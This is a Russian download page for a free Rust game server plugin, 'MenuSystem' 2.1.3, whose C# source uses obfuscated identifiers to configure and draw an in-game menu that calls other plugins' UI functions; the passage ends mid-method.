Иконка ресурса

FREE MenuSystem : 2.1.3 2.1.3

Нет прав для скачивания
C#:
// Все права принадлежат дискорд сообществу https://discord.gg/VgNHPpNrz6
using Oxide.Core.Plugins;
using Oxide.Game.Rust.Cui;
using UnityEngine;
using System.Collections.Generic;
using Newtonsoft.Json;
using Oxide.Core;
using Oxide.Core.Libraries.Covalence;
using Rust;
using System;
using System.Linq;
using ru = Oxide.Game.Rust;
using Newtonsoft.Json.Linq;
namespace Oxide.Plugins {
    [Info("MenuSystem", "anfunny", "2.1.3")]
    class MenuSystem : RustPlugin {
        private string LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN = "MS_UI";
        private float FadeIn = 0.25f;
        public string OEEGKPMPQMSMUDDPAPZJCBKPLSTKLGNPZGJCDHFHZVWHH = "";
        [PluginReference]
        private Plugin Duel, LoadingImages;
        private bool PKGPLQXMYQCQBNZQPDSZEJKLRNISKRRIHTPRFWZKFOSASR(BasePlayer player) => Duel?.Call < bool > ("IsPlayerOnActiveDuel", player) ?? false;
        public class MenuItem : SubMenuItem {
            [JsonProperty("Пункты подменю", Order = 0)]
            public List<SubMenuItem> items;
        }
        public class SubMenuItem {
            [JsonProperty("Заголовок")]
            public Dictionary<string, string> JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV;
            [JsonProperty("Sprite")]
            public string IONMMYRLIDWWOXRHUYVEIQHSKKOWDPESRWRXFXFKPTUDFLWP = "assets/icons/community_servers.png";
            [JsonProperty("Чат команда для доступа к пункту меню")]
            public string chatCommand;
            [JsonProperty("Имя плагина, api которого необходимо вызвать")]
            public string ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB;
            [JsonProperty("Имя функции из плагина для показа GUI")]
            public string LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY;
            [JsonProperty("Передаваемые аргументы (player - передавать не нужно он передается первым параметром)")]
            public List<object> HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG = new List<object>();
            [JsonProperty("Названия слоев для дестроя GUI")]
            public List<string> ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK = new List<string>();
            [JsonProperty("Имя функции из плагина для дополнительной отработки закрытия")]
            public string YQPJMZUFWRMCIKJJVVLDNEVSEGVJQOOBRQVTQMVXMQNOO;
        }
        public class Settings {
            [JsonProperty("Название кнопки")]
            public string DisplayName;
            [JsonProperty("Описание")]
            public string Info;
            [JsonProperty("Команда")]
            public string Command;
        }
        public Dictionary<ulong, SubMenuItem> GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT = new Dictionary<ulong, SubMenuItem>();
        Configuration config;
        class Configuration {
            [JsonProperty("Настройки")]
            public InterfaceSettings InterfaceSetting = new InterfaceSettings();
            internal class InterfaceSettings {
                [JsonProperty("Включить логотип?")]
                public bool WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ;
                [JsonProperty("Ссылка на логотип (150x150)")]
                public string LogoLink;
                [JsonProperty("Открывать меню при подключении к серверу")]
                public bool NEQSOLEHBUFDUOKHLLFYVJMKLUBYTHLFNCCSPPLITBTYIO;
                [JsonProperty("Использовать уведомления в консоль")]
                public bool UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI;
            }
            [JsonProperty("Пункты меню")]
            public Dictionary<string, MenuItem> BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC;
            [JsonProperty("Версия конфигурации")]
            public VersionNumber HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU = new VersionNumber();
            public static Configuration GetNewConfig() {
                return new Configuration {
                    InterfaceSetting = new InterfaceSettings() {
                        WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ = true, LogoLink = "https://i.imgur.com/2iCpDT7.png", NEQSOLEHBUFDUOKHLLFYVJMKLUBYTHLFNCCSPPLITBTYIO = true, UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI = false
                    }
                    , BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC = new Dictionary<string, MenuItem>() {
                    }
                    , HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU = new VersionNumber(2, 1, 0)
                }
                ;
            }
        }
        protected override void LoadConfig() {
            base.LoadConfig();
            try {
                config = Config.ReadObject<Configuration>();
                if (config?.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC == null) LoadDefaultConfig();
                /*if (config.HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU < Version) LoadDefaultConfig();*/
                config.HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU = Version;
            }
            catch {
                PrintWarning($"Ошибка чтения конфигурации 'oxide/config/{Name}', создаём новую конфигурацию!!");
                LoadDefaultConfig();
            }
            NextTick(SaveConfig);
        }
        protected override void LoadDefaultConfig() => config = Configuration.GetNewConfig();
        protected override void SaveConfig() => Config.WriteObject(config);
        void OnServerInitialized() {
            JNFQRQLFIKXUPEZCICEYJERJZGIZQBYNXPVQOQMNHM();
            YSJHWOKNGZVXYIECGZTIIXHLSEITPQKSAJKAAKUUX();
            foreach (var player in BasePlayer.activePlayerList) CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
            IRKYABALMAZIVAKYOSFQXPPCXOYECVEYLCPPBUDGSE();
            BasePlayer.activePlayerList.ToList().ForEach(OnPlayerConnected);
            ACGVWPXBAKLQEBMBZBVNZNOTLSXQQPJROWRNKVZULVCLCK();
        }
        void YSJHWOKNGZVXYIECGZTIIXHLSEITPQKSAJKAAKUUX() {
            foreach (MenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.Values) {
                if (!string.IsNullOrEmpty(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.chatCommand)) Interface.Oxide.GetLibrary<ru.Libraries.Command>(null).AddChatCommand(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.chatCommand, this, "MenuChatCommands");
                if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items==null) continue;
                foreach (SubMenuItem item2 in GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items.Where(x => !string.IsNullOrEmpty(x.chatCommand))) {
                    Interface.Oxide.GetLibrary<ru.Libraries.Command>(null).AddChatCommand(item2.chatCommand, this, "SubMenuChatCommands");
                }
            }
        }
        void OnPlayerConnected(BasePlayer player) {
            if (config.InterfaceSetting.NEQSOLEHBUFDUOKHLLFYVJMKLUBYTHLFNCCSPPLITBTYIO) {
                if (player.IsReceivingSnapshot) {
                    timer.In(2f, () => OnPlayerConnected(player));
                    return;
                }
                KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, "menu", false);
                return;
            }
        }
        void IRKYABALMAZIVAKYOSFQXPPCXOYECVEYLCPPBUDGSE() {
            if (config.InterfaceSetting.WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ) LoadingImages.Call("AddImage", config.InterfaceSetting.LogoLink, "LogoImage");
        }
        private void MenuChatCommands(BasePlayer player, string command, string[] HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG)=>KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, command);
        private void SubMenuChatCommands(BasePlayer player, string command, string[] HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG)=>KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, command, true);
        [ConsoleCommand("closemenusystem")]
        void BXVBXXTRMDPTVZPTVGPSWYGOOMXTBBYLNCZPUHQJC(ConsoleSystem.Arg HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG) {
            var player = HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Player();
            DestroyUI(player);
            CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
            VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(player);
        }
        public void IHZNNREXWRYOGDRHMKAZPLFEGSZZZOQGPPQYOAZGOD(BasePlayer player) {
            DestroyUI(player);
            CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
            VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(player);
        }
        [ConsoleCommand("menu")]
        void HNYWWYNUFJCQWCVHUREYIARYQMTSMLULMGXQHWDBL(ConsoleSystem.Arg HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG) {
            var player = HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Player();
            DestroyUI(player);
            ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(player, HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[0]);
        }
        void KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(BasePlayer player, string XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ = "menu", bool DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP=false) {
            if (PKGPLQXMYQCQBNZQPDSZEJKLRNISKRRIHTPRFWZKFOSASR(player)) {
                SendReply(player, "Меню недоступно на дуэли!");
                return;
            }
            int UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = 0;
            if (DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP) {
                DestroySubUI(player, XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ);
                foreach(KeyValuePair<string, MenuItem> item1 in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.Where(x=>x.Value.items!=null && x.Value.items.Count>0)) {
                    for(int i=0;i<item1.Value.items.Count;i++) {
                        if (item1.Value.items[i].chatCommand==XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ) {
                            UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = i;
                            XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ = item1.Key;
                        }
                    }
                }
            }
            string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
            bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
            CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
            var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
                Parent = "Overlay", Name = LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, Components = {
                    new CuiImageComponent {
                        Color = "0.31 0.32 0.43 1", FadeIn = FadeIn
                    }
                    , new CuiRectTransformComponent {
                        AnchorMin = "0.5 0.5", AnchorMax = "0.5 0.5", OffsetMin = "-500 -285", OffsetMax = "500 285"
                    }
                }
            }
            );
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1"
                }
                , Image = {
                    Color = "0.1 0.1 0.1 0"
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "Background");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "-100 -100", AnchorMax = "100 100"
                }
                , Image = {
                    Color = "0.1 0.1 0.1 0.5", Material = "assets/content/ui/uibackgroundblur-ingamemenu.mat"
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundClose");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1"
                }
                , Button = {
                    Color = "0 0 0 0", Command = "closemenusystem"
                }
                , Text = {
                    Text = ""
                }
            }
            , "BackgroundClose");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "0 1", OffsetMin = "0 0", OffsetMax = "172 0"
                }
                , Image = {
                    Color = "0.18 0.19 0.28 0.75", FadeIn = FadeIn
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "MenuItemsLeft");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                RectTransform = {
                    AnchorMin = "1 0", AnchorMax = "1 1", OffsetMin = "-0.7 0", OffsetMax = "0.7 0"
                }
                , Button = {
                    Color = "0.32 0.33 0.43 1", FadeIn = FadeIn
                }
                , Text = {
                    Text = ""
                }
            }
            , "MenuItemsLeft");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel() {
                CursorEnabled = true, RectTransform = {
                    AnchorMin = "0.172 1", AnchorMax = "1 1", OffsetMin = "0 -60", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0.18 0.19 0.28 0.75", FadeIn = FadeIn
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "MenuItemsUpper");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 0", OffsetMin = "0 -0.7", OffsetMax = "0 0.7"
                }
                , Button = {
                    Color = "0.32 0.33 0.43 1", FadeIn = FadeIn
                }
                , Text = {
                    Text = ""
                }
            }
            , "MenuItemsUpper");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1", OffsetMin = "0 0", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0.20 0.17 0.13 0.7", Sprite = "assets/content/ui/ui.background.transparent.radial.psd"
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundGLITCH");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1", OffsetMin = "0 0", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0.23 0.20 0.13 0.3", Sprite = "assets/content/ui/ui.background.transparent.radial.psd"
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundGLITCH");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                CursorEnabled = true, RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0 0 0 0.6", Material = "assets/icons/greyout.mat"
                }
                ,
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundGLITCH");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
                Parent = LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, Name = "MainImage", Components = {
                    new CuiRawImageComponent {
                        Png = (string) LoadingImages?.Call("GetImage", "MainImage"), Color = "1 1 1 1"
                    }
                    , new CuiRectTransformComponent {
                        AnchorMin = "0 0", AnchorMax = $"1 1"
                    }
                }
            }
            );
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "0 1", OffsetMin = "0 0", OffsetMax = "172 0"
                }
                , Image = {
                    Color = "0 0 0 0", FadeIn = FadeIn
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "MenuItemsLeft2");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
                Parent = LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, Name = "ExitImage", Components = {
                    new CuiRawImageComponent {
                        Png = (string) LoadingImages?.Call("GetImage", "ExitImage"), Color = "1 1 1 1", FadeIn = FadeIn
                    }
                    , new CuiRectTransformComponent {
                        AnchorMin = "0 0", AnchorMax = $"0 0", OffsetMin = "42.5 0", OffsetMax = "132.5 55"
                    }
                }
            }
            );
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiLabel {
                RectTransform = {
                    AnchorMin = "0.5 0.5", AnchorMax = $"0.5 0.5", OffsetMin = "-15 -14", OffsetMax = "40 15"
                }
                , Text = {
                    Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? "ВЫХОД" : "EXIT", Color = "0.929 0.882 0.847 0.8", Align = TextAnchor.MiddleCenter, FontSize = 14, Font = "robotocondensed-bold.ttf", FadeIn = FadeIn
                }
            }
            , "ExitImage");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1"
                }
                , Button = {
                    Color = "0 0 0 0", Command = "closemenusystem"
                }
                , Text = {
                    Text = ""
                }
            }
            , "ExitImage");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0.5", AnchorMax = $"0 0.5", OffsetMin = "10 -195", OffsetMax = "210 195"
                }
                , Image = {
                    Color = "0 0 0 0"
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "Button");
            if(config.InterfaceSetting.WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ) {
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                    RectTransform = {
                        AnchorMin = "0.5 1", AnchorMax = $"0.5 1", OffsetMin = "-45 -90", OffsetMax = "45 -10"
                    }
                    , Button = {
                        Color = "0 0 0 0", Command = "chat.say /menu", FadeIn = FadeIn
                    }
                    , Text = {
                        Text = $""
                    }
                }
                , "MenuItemsLeft2", "LogoImage");
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
                    Parent = "LogoImage", Components = {
                        new CuiRawImageComponent {
                            Png = (string) LoadingImages?.Call("GetImage", "LogoImage"), FadeIn = FadeIn
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = "0 0", AnchorMax = "1 1"
                        }
                    }
                }
                );
            }
            CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
            DestroyUI(player);
            ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(player, XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ);
            HFODKJULXSKQUPZBVPQSGXCSODBDJPHRZNIBQRMGGJRYYHY(player, XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ, UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU);
        }
        void VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(BasePlayer player) {
            if (!GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT.ContainsKey(player.userID)) GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT.Add(player.userID, null);
            SubMenuItem LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE = GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT[player.userID];
            if (LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE!=null) {
                if (config.InterfaceSetting.UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI == true) {
                    Puts($"LAST ELEMENT IS {LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB}");
                }
                if (!string.IsNullOrEmpty(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.YQPJMZUFWRMCIKJJVVLDNEVSEGVJQOOBRQVTQMVXMQNOO)) {
                    if (!string.IsNullOrEmpty(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB) && plugins.Find(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB)) {
                        if (config.InterfaceSetting.UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI == true) Puts("CALL CLOSE FUNCTION");
                        plugins.Find(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB).Call(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.YQPJMZUFWRMCIKJJVVLDNEVSEGVJQOOBRQVTQMVXMQNOO, player);
                    }
                }
            }
        }
        bool KAXFUODAUSDENUVBYFWXDFZBFYVCRNYRZAMORDWICN(SubMenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX, BasePlayer player) {
            string ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB="";
            VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(player);
            if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX==null || player == null || string.IsNullOrEmpty(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY)) return false;
            if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY == "close") {
                IHZNNREXWRYOGDRHMKAZPLFEGSZZZOQGPPQYOAZGOD(player);
                return false;
            }
            ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB = "MenuSystem";
            if (!string.IsNullOrEmpty(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB)) ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB = GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB;
            if (!plugins.Find(ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB)) {
                PrintWarning($"Plugin not found: {ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB}");
                return false;
            }
            var Plugin = plugins.Find(ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB);
            if (Plugin==null) return false;
            if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Count==0) {
                Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player);
                if (config.InterfaceSetting.UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI == true) {
                    Puts($"{ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB}.Call({GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY}, {player});");
                }
            }
            switch(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Count) {
                case 1 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0]);
                break;
                case 2 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[1]);
                break;
                case 3 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[1], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[2]);
                break;
                case 4 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[1], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[2], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[3]);
                break;
            }
            GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT[player.userID] = GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX;
            return true;
        }
        void ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(BasePlayer player, string XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ="") {
            CuiHelper.DestroyUi(player, "Command");
            CuiHelper.DestroyUi(player, "Info");
            var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0.13", AnchorMax = "1 1", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0 0 0 0"
                }
            }
            , "Button", "Command");
